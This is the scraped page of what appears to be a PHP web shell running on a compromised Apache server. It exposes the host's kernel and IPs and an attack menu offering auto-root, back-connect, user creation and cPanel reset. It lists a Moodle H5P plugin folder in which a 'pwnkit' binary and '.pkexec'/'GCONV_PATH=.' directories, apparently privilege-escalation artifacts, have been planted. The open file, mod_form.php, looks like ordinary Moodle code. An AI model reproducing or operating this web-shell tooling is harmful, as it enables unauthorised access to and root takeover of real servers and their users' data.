Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.91
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
hvp /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
amd
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
editor
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
library
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
reporting
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
.eslintrc
5.77
KB
-rw-r--r--
.gitignore
49
B
-rw-r--r--
.gitmodules
323
B
-rw-r--r--
.jshintrc
163
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
.travis.yml
4.8
KB
-rw-r--r--
LICENSE
17.62
KB
-rw-r--r--
README.md
2.39
KB
-rw-r--r--
ajax.php
16.43
KB
-rw-r--r--
autoloader.php
3.68
KB
-rw-r--r--
content_hub_registration.php
2.03
KB
-rw-r--r--
dataviews.js
1.31
KB
-rw-r--r--
editor.js
1.25
KB
-rw-r--r--
embed.php
3.53
KB
-rw-r--r--
grade.php
5
KB
-rw-r--r--
index.php
4.25
KB
-rw-r--r--
lib.php
16.49
KB
-rw-r--r--
library_list.php
5.1
KB
-rw-r--r--
locallib.php
25.48
KB
-rw-r--r--
mod_form.php
18.76
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
renderer.php
3.1
KB
-rw-r--r--
review.php
6.74
KB
-rw-r--r--
settings-hide-key.js
1018
B
-rw-r--r--
settings.php
7.2
KB
-rw-r--r--
share.php
5.63
KB
-rw-r--r--
styles.css
2.18
KB
-rw-r--r--
thirdpartylibs.xml
542
B
-rw-r--r--
upgrade_content_page.php
4.95
KB
-rw-r--r--
version.php
1.06
KB
-rw-r--r--
view.css
1.74
KB
-rw-r--r--
view.php
3.37
KB
-rw-r--r--
xapi-collector.js
5.67
KB
-rw-r--r--
xapi-custom-report.css
1.39
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mod_form.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Form for creating new H5P Content * * @package mod_hvp * @copyright 2016 Joubel AS <contact@joubel.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once($CFG->dirroot . '/course/moodleform_mod.php'); class mod_hvp_mod_form extends moodleform_mod { public function definition() { global $CFG, $COURSE, $PAGE; $mform =& $this->_form; // Name. $mform->addElement('hidden', 'name', ''); $mform->setType('name', PARAM_TEXT); // Intro. if (method_exists($this, 'standard_intro_elements')) { $this->standard_intro_elements(); } else { $this->add_intro_editor(false, get_string('intro', 'hvp')); } // Action. $h5paction = array(); $h5paction[] = $mform->createElement('radio', 'h5paction', '', get_string('upload', 'hvp'), 'upload'); $h5paction[] = $mform->createElement('radio', 'h5paction', '', get_string('create', 'hvp'), 'create'); $mform->addGroup($h5paction, 'h5pactiongroup', get_string('action', 'hvp'), array('<br/>'), false); $mform->setDefault('h5paction', 'create'); // Upload. $mform->addElement('filepicker', 'h5pfile', get_string('h5pfile', 'hvp'), null, array('maxbytes' => $COURSE->maxbytes, 'accepted_types' => '*')); // Editor placeholder. if ($CFG->theme == 'boost' || in_array('boost', $PAGE->theme->parents)) { $h5peditor = []; $h5peditor[] = $mform->createElement('html', '<div class="h5p-editor">' . get_string('javascriptloading', 'hvp') . '</div>'); $mform->addGroup($h5peditor, 'h5peditor', get_string('editor', 'hvp')); } else { $mform->addElement('static', 'h5peditor', get_string('editor', 'hvp'), '<div class="h5p-editor">' . get_string('javascriptloading', 'hvp') . '</div>'); } // Hidden fields. $mform->addElement('hidden', 'h5plibrary', ''); $mform->setType('h5plibrary', PARAM_RAW); $mform->addElement('hidden', 'h5pparams', ''); $mform->setType('h5pparams', PARAM_RAW); $mform->addElement('hidden', 'h5pmaxscore', ''); $mform->setType('h5pmaxscore', PARAM_INT); $core = \mod_hvp\framework::instance(); $displayoptions = $core->getDisplayOptionsForEdit(); if (isset($displayoptions[H5PCore::DISPLAY_OPTION_FRAME])) { // Display options group. $mform->addElement('header', 'displayoptions', get_string('displayoptions', 'hvp')); $mform->addElement('checkbox', H5PCore::DISPLAY_OPTION_FRAME, get_string('enableframe', 'hvp')); $mform->setType(H5PCore::DISPLAY_OPTION_FRAME, PARAM_BOOL); $mform->setDefault(H5PCore::DISPLAY_OPTION_FRAME, true); if (isset($displayoptions[H5PCore::DISPLAY_OPTION_DOWNLOAD])) { $mform->addElement('checkbox', H5PCore::DISPLAY_OPTION_DOWNLOAD, get_string('enabledownload', 'hvp')); $mform->setType(H5PCore::DISPLAY_OPTION_DOWNLOAD, PARAM_BOOL); $mform->setDefault(H5PCore::DISPLAY_OPTION_DOWNLOAD, $displayoptions[H5PCore::DISPLAY_OPTION_DOWNLOAD]); $mform->disabledIf(H5PCore::DISPLAY_OPTION_DOWNLOAD, 'frame'); } if (isset($displayoptions[H5PCore::DISPLAY_OPTION_EMBED])) { $mform->addElement('checkbox', H5PCore::DISPLAY_OPTION_EMBED, get_string('enableembed', 'hvp')); $mform->setType(H5PCore::DISPLAY_OPTION_EMBED, PARAM_BOOL); $mform->setDefault(H5PCore::DISPLAY_OPTION_EMBED, $displayoptions[H5PCore::DISPLAY_OPTION_EMBED]); $mform->disabledIf(H5PCore::DISPLAY_OPTION_EMBED, 'frame'); } if (isset($displayoptions[H5PCore::DISPLAY_OPTION_COPYRIGHT])) { $mform->addElement('checkbox', H5PCore::DISPLAY_OPTION_COPYRIGHT, get_string('enablecopyright', 'hvp')); $mform->setType(H5PCore::DISPLAY_OPTION_COPYRIGHT, PARAM_BOOL); $mform->setDefault(H5PCore::DISPLAY_OPTION_COPYRIGHT, $displayoptions[H5PCore::DISPLAY_OPTION_COPYRIGHT]); $mform->disabledIf(H5PCore::DISPLAY_OPTION_COPYRIGHT, 'frame'); } } // Grade settings. $this->standard_grading_coursemodule_elements(); $mform->removeElement('grade'); // Max grade. $mform->addElement('text', 'maximumgrade', get_string('maximumgrade', 'hvp')); $mform->setType('maximumgrade', PARAM_INT); $mform->setDefault('maximumgrade', 10); // Standard course module settings. $this->standard_coursemodule_elements(); $this->add_action_buttons(); } /** * Sets display options within default values * * @param $defaultvalues */ private function set_display_options(&$defaultvalues) { // Individual display options are not stored, must be extracted from disable. if (isset($defaultvalues['disable'])) { $h5pcore = \mod_hvp\framework::instance('core'); $displayoptions = $h5pcore->getDisplayOptionsForEdit($defaultvalues['disable']); if (isset ($displayoptions[H5PCore::DISPLAY_OPTION_FRAME])) { $defaultvalues[H5PCore::DISPLAY_OPTION_FRAME] = $displayoptions[H5PCore::DISPLAY_OPTION_FRAME]; } if (isset($displayoptions[H5PCore::DISPLAY_OPTION_DOWNLOAD])) { $defaultvalues[H5PCore::DISPLAY_OPTION_DOWNLOAD] = $displayoptions[H5PCore::DISPLAY_OPTION_DOWNLOAD]; } if (isset($displayoptions[H5PCore::DISPLAY_OPTION_EMBED])) { $defaultvalues[H5PCore::DISPLAY_OPTION_EMBED] = $displayoptions[H5PCore::DISPLAY_OPTION_EMBED]; } if (isset($displayoptions[H5PCore::DISPLAY_OPTION_COPYRIGHT])) { $defaultvalues[H5PCore::DISPLAY_OPTION_COPYRIGHT] = $displayoptions[H5PCore::DISPLAY_OPTION_COPYRIGHT]; } } } /** * Sets max grade in default values from grade item * * @param $content * @param $defaultvalues */ private function set_max_grade($content, &$defaultvalues) { // Set default maxgrade. if (isset($content) && isset($content['id']) && isset($defaultvalues) && isset($defaultvalues['course'])) { // Get the gradeitem and set maxgrade. $gradeitem = grade_item::fetch(array( 'itemtype' => 'mod', 'itemmodule' => 'hvp', 'iteminstance' => $content['id'], 'courseid' => $defaultvalues['course'] )); if (isset($gradeitem) && isset($gradeitem->grademax)) { $defaultvalues['maximumgrade'] = $gradeitem->grademax; } } } public function data_preprocessing(&$defaultvalues) { global $DB; $core = \mod_hvp\framework::instance(); $content = null; if (!empty($defaultvalues['id'])) { // Load Content. $content = $core->loadContent($defaultvalues['id']); } $this->set_max_grade($content, $defaultvalues); // Aaah.. we meet again h5pfile! $draftitemid = file_get_submitted_draft_itemid('h5pfile'); file_prepare_draft_area($draftitemid, $this->context->id, 'mod_hvp', 'package', 0); $defaultvalues['h5pfile'] = $draftitemid; $this->set_display_options($defaultvalues); // Determine default action. if (!get_config('mod_hvp', 'hub_is_enabled') && $content === null && $DB->get_field_sql("SELECT id FROM {hvp_libraries} WHERE runnable = 1", null, IGNORE_MULTIPLE) === false) { $defaultvalues['h5paction'] = 'upload'; } // Set editor defaults. $defaultvalues['h5plibrary'] = ($content === null ? 0 : H5PCore::libraryToString($content['library'])); // Combine params and metadata in one JSON object. $params = ($content === null ? '{}' : $core->filterParameters($content)); $maincontentdata = array('params' => json_decode($params)); if (isset($content['metadata'])) { $maincontentdata['metadata'] = $content['metadata']; } $defaultvalues['h5pparams'] = json_encode($maincontentdata, true); // Completion settings check. if (empty($defaultvalues['completionusegrade'])) { $defaultvalues['completionpass'] = 0; // Forced unchecked. } // Add required editor assets. require_once('locallib.php'); $mformid = $this->_form->getAttribute('id'); \hvp_add_editor_assets($content === null ? null : $defaultvalues['id'], $mformid); } /** * Validate uploaded H5P * * @param $data * @param $errors */ private function validate_upload($data, &$errors) { global $CFG; if (empty($data['h5pfile'])) { // Field missing. $errors['h5pfile'] = get_string('required'); } else { $files = $this->get_draft_files('h5pfile'); if (count($files) < 1) { // No file uploaded. $errors['h5pfile'] = get_string('required'); } else { // Prepare to validate package. $file = reset($files); $interface = \mod_hvp\framework::instance('interface'); $path = $CFG->tempdir . uniqid('/hvp-'); $interface->getUploadedH5pFolderPath($path); $path .= '.h5p'; $interface->getUploadedH5pPath($path); $file->copy_content_to($path); $h5pvalidator = \mod_hvp\framework::instance('validator'); if (! $h5pvalidator->isValidPackage()) { // Errors while validating the package. $errors = array_map(function ($message) { return $message->message; }, \mod_hvp\framework::messages('error')); $messages = array_merge(\mod_hvp\framework::messages('info'), $errors); $errors['h5pfile'] = implode('<br/>', $messages); } else { foreach ($h5pvalidator->h5pC->mainJsonData['preloadedDependencies'] as $dep) { if ($dep['machineName'] === $h5pvalidator->h5pC->mainJsonData['mainLibrary']) { if ($h5pvalidator->h5pF->libraryHasUpgrade($dep)) { // We do not allow storing old content due to security concerns. $errors['h5pfile'] = get_string('olduploadoldcontent', 'hvp'); } } } } } } } /** * Validate new H5P * * @param $data */ private function validate_created(&$data, &$errors) { // Validate library and params used in editor. $core = \mod_hvp\framework::instance(); // Get library array from string. $library = H5PCore::libraryFromString($data['h5plibrary']); if (!$library) { $errors['h5peditor'] = get_string('librarynotselected', 'hvp'); } else { // Check that library exists. $library['libraryId'] = $core->h5pF->getLibraryId($library['machineName'], $library['majorVersion'], $library['minorVersion']); if (!$library['libraryId']) { $errors['h5peditor'] = get_string('nosuchlibrary', 'hvp'); } else { $data['h5plibrary'] = $library; if ($core->h5pF->libraryHasUpgrade($library)) { // We do not allow storing old content due to security concerns. $errors['h5peditor'] = get_string('anunexpectedsave', 'hvp'); } else { // Verify that parameters are valid. if (empty($data['h5pparams'])) { $errors['h5peditor'] = get_string('noparameters', 'hvp'); } else { $params = json_decode($data['h5pparams']); if ($params === null) { $errors['h5peditor'] = get_string('invalidparameters', 'hvp'); } else { $data['h5pparams'] = $params; } } } } } } /** * Validates editor form * * @param array $data * @param array $files * * @return array */ public function validation($data, $files) { $errors = parent::validation($data, $files); // Validate max grade as a non-negative numeric value. if (!is_numeric($data['maximumgrade']) || $data['maximumgrade'] < 0) { $errors['maximumgrade'] = get_string('maximumgradeerror', 'hvp'); } if ($data['h5paction'] === 'upload') { // Validate uploaded H5P file. unset($errors['name']); // Will be set in data_postprocessing(). $this->validate_upload($data, $errors); } else { $this->validate_created($data, $errors); } if (array_key_exists('completion', $data) && $data['completion'] == COMPLETION_TRACKING_AUTOMATIC) { $completionpass = isset($data['completionpass']) ? $data['completionpass'] : $this->current->completionpass; // Show an error if require passing grade was selected and the grade to pass was set to 0. if ($completionpass && (empty($data['gradepass']) || grade_floatval($data['gradepass']) == 0)) { if (isset($data['completionpass'])) { $errors['completionpassgroup'] = get_string('gradetopassnotset', 'hvp'); } else { $errors['gradepass'] = get_string('gradetopassmustbeset', 'hvp'); } } } return $errors; } /** * Allows modules to modify the data returned by form get_data(). * This method is also called in the bulk activity completion form. * * Only available on moodleform_mod. * * @param stdClass $data passed by reference */ public function data_postprocessing($data) { // Determine disabled content features. $options = array( H5PCore::DISPLAY_OPTION_FRAME => isset($data->frame) ? $data->frame : 0, H5PCore::DISPLAY_OPTION_DOWNLOAD => isset($data->export) ? $data->export : 0, H5PCore::DISPLAY_OPTION_EMBED => isset($data->embed) ? $data->embed : 0, H5PCore::DISPLAY_OPTION_COPYRIGHT => isset($data->copyright) ? $data->copyright : 0, ); $core = \mod_hvp\framework::instance(); $data->disable = $core->getStorableDisplayOptions($options, 0); if (isset($data->h5pparams)) { // Remove metadata wrapper from form data. $params = json_decode($data->h5pparams); if ($params !== null) { $data->params = json_encode($params->params); if (isset($params->metadata)) { $data->metadata = $params->metadata; } } // Cleanup. unset($data->h5pparams); } if (isset($data->h5paction) && $data->h5paction === 'upload') { if (empty($data->metadata)) { $data->metadata = new stdClass(); } if (empty($data->metadata->title)) { // Fix for legacy content upload to work. // Fetch title from h5p.json or use a default string if not available. $h5pvalidator = \mod_hvp\framework::instance('validator'); $data->metadata->title = empty($h5pvalidator->h5pC->mainJsonData['title']) ? 'Uploaded Content' : $h5pvalidator->h5pC->mainJsonData['title']; } $data->name = $data->metadata->title; // Sort of a hack, // but there is no JavaScript that sets the value when there is no editor... } } /** * This should not be overridden, but we have to in order to support Moodle <3.2 * and older Totara sites. * * Moodle 3.1 LTS is supported until May 2019, after that this can be dropped. * (could cause issues for new features if they add more to this in Core) * * @return object submitted data; NULL if not valid or not submitted or cancelled */ public function get_data() { $data = parent::get_data(); if ($data) { // Check if moodleform_mod class has already taken care of the data for us. // If not this is an older Moodle or Totara site that we need to treat differently. $class = new ReflectionClass('moodleform_mod'); $method = $class->getMethod('get_data'); if ($method->class !== 'moodleform_mod') { // Moodleform_mod class doesn't override get_data so we need to convert it ourselves. // Convert the grade pass value - we may be using a language which uses commas, // rather than decimal points, in numbers. These need to be converted so that // they can be added to the DB. if (isset($data->gradepass)) { $data->gradepass = unformat_float($data->gradepass); } $this->data_postprocessing($data); } } return $data; } public function add_completion_rules() { $mform =& $this->_form; $items = array(); $group = array(); $group[] = $mform->createElement('advcheckbox', 'completionpass', null, get_string('completionpass', 'hvp'), array('group' => 'cpass')); $mform->disabledIf('completionpass', 'completionusegrade', 'notchecked'); $mform->addGroup($group, 'completionpassgroup', get_string('completionpass', 'hvp'), ' ', false); $mform->addHelpButton('completionpassgroup', 'completionpass', 'hvp'); $items[] = 'completionpassgroup'; return $items; } }
Close